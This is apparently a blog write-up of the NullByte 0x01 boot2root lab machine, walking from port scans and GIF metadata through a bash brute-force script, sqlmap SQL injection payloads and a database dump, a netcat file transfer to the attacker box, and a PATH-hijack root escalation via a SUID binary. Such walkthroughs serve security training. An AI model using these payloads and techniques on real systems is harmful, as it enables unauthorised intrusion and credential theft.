NullByte 0x01 hacking challenge

Written on August 6, 2015

I saw this boot2root announced on Twitter by ly0nx and decided to give it a go. It’s not on VulnHub yet, but it looks like it might make it there sometime after Blackhat and Defcon is over. The boot2root is called NullByte 0x01 and is described as beginner/intermediate level challenge. I thought it was pretty easy, but still a fun challenge nonetheless. You can grab it at http://ly0n.me/2015/08/01/nullbyte-challenge-0x01/.

I found the IP address of the target using netdiscover, and ran a full portscan on it. This returned the following results:

80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
111/tcp   open  rpcbind 2-4 (RPC #100000)
777/tcp   open  ssh     OpenSSH 6.7p1 Debian 5 (protocol 2.0)
56763/tcp open  status  1 (RPC #100024)
111/udp  open  rpcbind
5353/udp open  zeroconf

Web server on port 80, and SSH on non-standard port 777. I loaded up the web site on my browser:

I ran nikto and wfuzz on the web server as well and came up with a handful of interesting directories, but nothing that I could leverage at the moment:

# wfuzz -c -z file,/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt --hc 404 http://192.168.107.135/FUZZ

********************************************************
* Wfuzz  2.0 - The Web Bruteforcer                     *
********************************************************

Target: http://192.168.107.135/FUZZ
Payload type: file,/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

Total requests: 220560
==================================================================
ID  Response   Lines      Word         Chars          Request    
==================================================================

.
.
.
00162:  C=301      9 L        28 W      320 Ch    " - uploads"
01070:  C=301      9 L        28 W      323 Ch    " - javascript"
10821:  C=301      9 L        28 W      323 Ch    " - phpmyadmin"
.
.
.

Back to the web page, I decided to examine the image main.gif. Running exiftool on it revealed something interesting in the comments section:

# exiftool main.gif 
ExifTool Version Number         : 8.60
File Name                       : main.gif
Directory                       : .
File Size                       : 16 kB
File Modification Date/Time     : 2015:08:01 12:39:30-04:00
File Permissions                : rw-r--r--
File Type                       : GIF
MIME Type                       : image/gif
GIF Version                     : 89a
Image Width                     : 235
Image Height                    : 302
Has Color Map                   : No
Color Resolution Depth          : 8
Bits Per Pixel                  : 1
Background Color                : 0
Comment                         : P-): kzMb5nVYJw
Image Size                      : 235x302

At first I thought kzMb5nVYJw was some kind of encrypted text. I tried simple ciphers like ROT13 and Caesar, but nothing returned anything interesting. I tried using it as a password, but that didn’t work. What eventually did work was using it in the URL:

It was a form asking for a key. Viewing the source revealed a clue:

<center>
<form method="post" action="index.php">
Key:<br>
<input type="password" name="key">
</form> 
</center>
<!-- this form isn't connected to mysql, password ain't that complex --!>

Ok, so looks like I had to brute force a password. Not the most enjoyable thing, but necessary to continue. After trying several small wordlists, the winner was /usr/share/dict/words. I wrote the following script to brute force the password for me:

#!/bin/bash

passwdlist=$1
echo "Brute forcing key..."
while read password; do 
    out=`curl -s -d "key=${password}" http://192.168.107.135/kzMb5nVYJw/index.php`
    echo ${out} | grep "invalid key" >/dev/null
    if [[ $? -ne 0 ]]; then
        echo -e "Found key \e[32m${password}"
        break
    fi 
done < ${passwdlist}

And here it is in action:

# ./brute.sh /usr/share/dict/words
Brute forcing key...
Found key elite

Took a few minutes, but I found the key. I punched it in and was greeted with yet another form. This time it was asking for a username to look up:

Viewing the source revealed another PHP file; 420search.php:

<p>Search for usernames: </p>
<hr>
<form action="420search.php" method="get">
Enter username:<br>
<input type="text" name="usrtosearch">
</form>

Accessing the URL for this revealed some interesting leaks:

Two usernames, IDs, and positions. It looked like fields in a database. While the previous form wasn’t connected to a database, I was betting that this one was. Searching for username resulted in the following URL: http://192.168.107.135/kzMb5nVYJw/420search.php?usrtosearch=ramses

I figured usrtosearch might be vulnerable to SQL injection, so I ran sqlmap against it:

# sqlmap --url 'http://192.168.107.135/kzMb5nVYJw/420search.php?usrtosearch=ramses' --risk=2 --dbms=MySQL --level=2 --dbs
         _
 ___ ___| |_____ ___ ___  {1.0-dev-nongit-20150731}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 23:16:20

[23:16:20] [INFO] testing connection to the target URL
[23:16:20] [INFO] testing if the target URL is stable. This can take a couple of seconds
[23:16:21] [INFO] target URL is stable
[23:16:21] [INFO] testing if GET parameter 'usrtosearch' is dynamic
[23:16:21] [INFO] confirming that GET parameter 'usrtosearch' is dynamic
[23:16:21] [INFO] GET parameter 'usrtosearch' is dynamic
[23:16:21] [INFO] heuristic (basic) test shows that GET parameter 'usrtosearch' might be injectable (possible DBMS: 'MySQL')
.
.
.
sqlmap identified the following injection points with a total of 64 HTTP(s) requests:
---
Parameter: usrtosearch (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: usrtosearch=ramses" AND 2672=2672#

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: usrtosearch=ramses" AND (SELECT 6198 FROM(SELECT COUNT(*),CONCAT(0x7178766b71,(SELECT (CASE WHEN (6198=6198) THEN 1 ELSE 0 END)),0x7162767171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND "lSdU"="lSdU

    Type: UNION query
    Title: MySQL UNION query (NULL) - 3 columns
    Payload: usrtosearch=ramses" UNION ALL SELECT CONCAT(0x7178766b71,0x6d69594f6768697a614b,0x7162767171),NULL,NULL#

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind (SELECT)
    Payload: usrtosearch=ramses" AND (SELECT * FROM (SELECT(SLEEP(5)))WqJu) AND "TIaN"="TIaN
---
[23:17:05] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.10
back-end DBMS: MySQL 5.0
[23:17:05] [INFO] fetching database names
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] seth

[23:17:05] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.107.135'

[*] shutting down at 23:17:05

Perfect. I dumped the contents of the seth database which revealed some juicy data:

# sqlmap --url 'http://192.168.107.135/kzMb5nVYJw/420search.php?usrtosearch=ramses' --risk=2 --dbms=MySQL --level=2 -D seth --dump
         _
 ___ ___| |_____ ___ ___  {1.0-dev-nongit-20150731}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 23:20:16

[23:20:16] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: usrtosearch (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: usrtosearch=ramses" AND 7400=7400#

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: usrtosearch=ramses" AND (SELECT 5418 FROM(SELECT COUNT(*),CONCAT(0x7176716a71,(SELECT (CASE WHEN (5418=5418) THEN 1 ELSE 0 END)),0x7170716a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND "pVLf"="pVLf

    Type: UNION query
    Title: MySQL UNION query (NULL) - 3 columns
    Payload: usrtosearch=ramses" UNION ALL SELECT NULL,NULL,CONCAT(0x7176716a71,0x474e5446774b66716f49,0x7170716a71)#

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind (SELECT)
    Payload: usrtosearch=ramses" AND (SELECT * FROM (SELECT(SLEEP(5)))tcur) AND "xRCR"="xRCR
---
[23:20:16] [INFO] testing MySQL
[23:20:16] [INFO] confirming MySQL
[23:20:16] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.10
back-end DBMS: MySQL >= 5.0.0
[23:20:16] [INFO] fetching tables for database: 'seth'
[23:20:16] [INFO] fetching columns for table 'users' in database 'seth'
[23:20:16] [INFO] fetching entries for table 'users' in database 'seth'
[23:20:16] [INFO] analyzing table dump for possible password hashes
Database: seth
Table: users
[2 entries]
+----+---------------------------------------------+--------+------------+
| id | pass                                        | user   | position   |
+----+---------------------------------------------+--------+------------+
| 1  | YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE | ramses | <blank>    |
| 2  | --not allowed--                             | isis   | employee   |
+----+---------------------------------------------+--------+------------+

[23:20:16] [INFO] table 'seth.users' dumped to CSV file '/root/.sqlmap/output/192.168.107.135/dump/seth/users.csv'
[23:20:16] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.107.135'

[*] shutting down at 23:20:16

There’s a Base64 MD5 hash for ramses’ password. To crack it, I just Googled it:

Password was omega, and it turned out those were the SSH credentials for ramses.

# ssh -p777 [email protected]
[email protected]'s password: 

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Aug  2 01:38:58 2015 from 192.168.1.109
ramses@NullByte:~$ hostname
NullByte
ramses@NullByte:~$ id
uid=1002(ramses) gid=1002(ramses) groups=1002(ramses)
ramses@NullByte:~$

A quick scan around the files in ramses’ directory revealed some interesting information in the .bash_history file:

ramses@NullByte:~$ cat .bash_history 
sudo -s
su eric
exit
ls
clear
cd /var/www
cd backup/
ls
./procwatch 
clear
sudo -s
cd /
ls
exit

Looks like there was something called procwatch in /var/www/backup. This file was SUID root, which made me suspect that it might be exploitable in some way.

ramses@NullByte:~$ ls -l /var/www/backup/procwatch 
-rwsr-xr-x 1 root root 4932 Aug  2 01:29 /var/www/backup/procwatch

procwatch appeared to just run ps:

ramses@NullByte:~$ /var/www/backup/procwatch 
  PID TTY          TIME CMD
 1430 pts/0    00:00:00 procwatch
 1431 pts/0    00:00:00 sh
 1432 pts/0    00:00:00 ps

So I decided to transfer the binary over to my machine for further examination. I setup a netcat listener to receive procwatch and used netcat on the target to send it over.

ramses@NullByte:/var/www/backup$ nc 192.168.107.129 4444 < procwatch 

With the binary on hand, I loaded it up in gdb to see what was going on:

# gdb -q procwatch 
Reading symbols from /root/nullbyte/procwatch...(no debugging symbols found)...done.
gdb-peda$ pdisass main
Dump of assembler code for function main:
   0x080483fb <+0>: lea    ecx,[esp+0x4]
   0x080483ff <+4>: and    esp,0xfffffff0
   0x08048402 <+7>: push   DWORD PTR [ecx-0x4]
   0x08048405 <+10>:    push   ebp
   0x08048406 <+11>:    mov    ebp,esp
   0x08048408 <+13>:    push   ecx
   0x08048409 <+14>:    sub    esp,0x44
   0x0804840c <+17>:    lea    eax,[ebp-0x3a]
   0x0804840f <+20>:    mov    WORD PTR [eax],0x7370
   0x08048414 <+25>:    mov    BYTE PTR [eax+0x2],0x0
   0x08048418 <+29>:    sub    esp,0xc
   0x0804841b <+32>:    lea    eax,[ebp-0x3a]
   0x0804841e <+35>:    push   eax
   0x0804841f <+36>:    call   0x80482d0 <system@plt>
   0x08048424 <+41>:    add    esp,0x10
   0x08048427 <+44>:    mov    eax,0x0
   0x0804842c <+49>:    mov    ecx,DWORD PTR [ebp-0x4]
   0x0804842f <+52>:    leave  
   0x08048430 <+53>:    lea    esp,[ecx-0x4]
   0x08048433 <+56>:    ret    
End of assembler dump.

I set a breakpoint at the call to system() and ran it. Once it hit the breakpoint, I looked at the arguments being passed to system:

Guessed arguments:
arg[0]: 0xfff4906e --> 0x7370 ('ps')
arg[1]: 0x0 
arg[2]: 0xc2 
arg[3]: 0xf76735a6 (test   eax,eax)

Sure enough, it was running ps, but without an absolute path. That meant I could trick the binary into running my own ps as long as I made the current directory the priority in my PATH environment.

Back on the target I updated my PATH environment and symlinked /bin/sh into ps. Running procwatch again gave me a root shell:

ramses@NullByte:/var/www/backup$ export PATH=.:$PATH
ramses@NullByte:/var/www/backup$ ln -s /bin/sh ps
ramses@NullByte:/var/www/backup$ ./procwatch 
# id
uid=1002(ramses) gid=1002(ramses) euid=0(root) groups=1002(ramses)

All that was left was to read the flag:

# ls /root
proof.txt
# cat /root/proof.txt
adf11c7a9e6523e630aaf3b9b7acb51d

It seems that you have pwned the box, congrats. 
Now you done that I wanna talk with you. Write a walk & mail at
[email protected] attach the walk and proof.txt
If sigaint.org is down you may mail at [email protected]


USE THIS PGP PUBLIC KEY

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: BCPG C# v1.6.1.0

mQENBFW9BX8BCACVNFJtV4KeFa/TgJZgNefJQ+fD1+LNEGnv5rw3uSV+jWigpxrJ
Q3tO375S1KRrYxhHjEh0HKwTBCIopIcRFFRy1Qg9uW7cxYnTlDTp9QERuQ7hQOFT
e4QU3gZPd/VibPhzbJC/pdbDpuxqU8iKxqQr0VmTX6wIGwN8GlrnKr1/xhSRTprq
Cu7OyNC8+HKu/NpJ7j8mxDTLrvoD+hD21usssThXgZJ5a31iMWj4i0WUEKFN22KK
+z9pmlOJ5Xfhc2xx+WHtST53Ewk8D+Hjn+mh4s9/pjppdpMFUhr1poXPsI2HTWNe
YcvzcQHwzXj6hvtcXlJj+yzM2iEuRdIJ1r41ABEBAAG0EW5ic2x5MG5AZ21haWwu
Y29tiQEcBBABAgAGBQJVvQV/AAoJENDZ4VE7RHERJVkH/RUeh6qn116Lf5mAScNS
HhWTUulxIllPmnOPxB9/yk0j6fvWE9dDtcS9eFgKCthUQts7OFPhc3ilbYA2Fz7q
m7iAe97aW8pz3AeD6f6MX53Un70B3Z8yJFQbdusbQa1+MI2CCJL44Q/J5654vIGn
XQk6Oc7xWEgxLH+IjNQgh6V+MTce8fOp2SEVPcMZZuz2+XI9nrCV1dfAcwJJyF58
kjxYRRryD57olIyb9GsQgZkvPjHCg5JMdzQqOBoJZFPw/nNCEwQexWrgW7bqL/N8
TM2C0X57+ok7eqj8gUEuX/6FxBtYPpqUIaRT9kdeJPYHsiLJlZcXM0HZrPVvt1HU
Gms=
=PiAQ
-----END PGP PUBLIC KEY BLOCK-----

Done and done!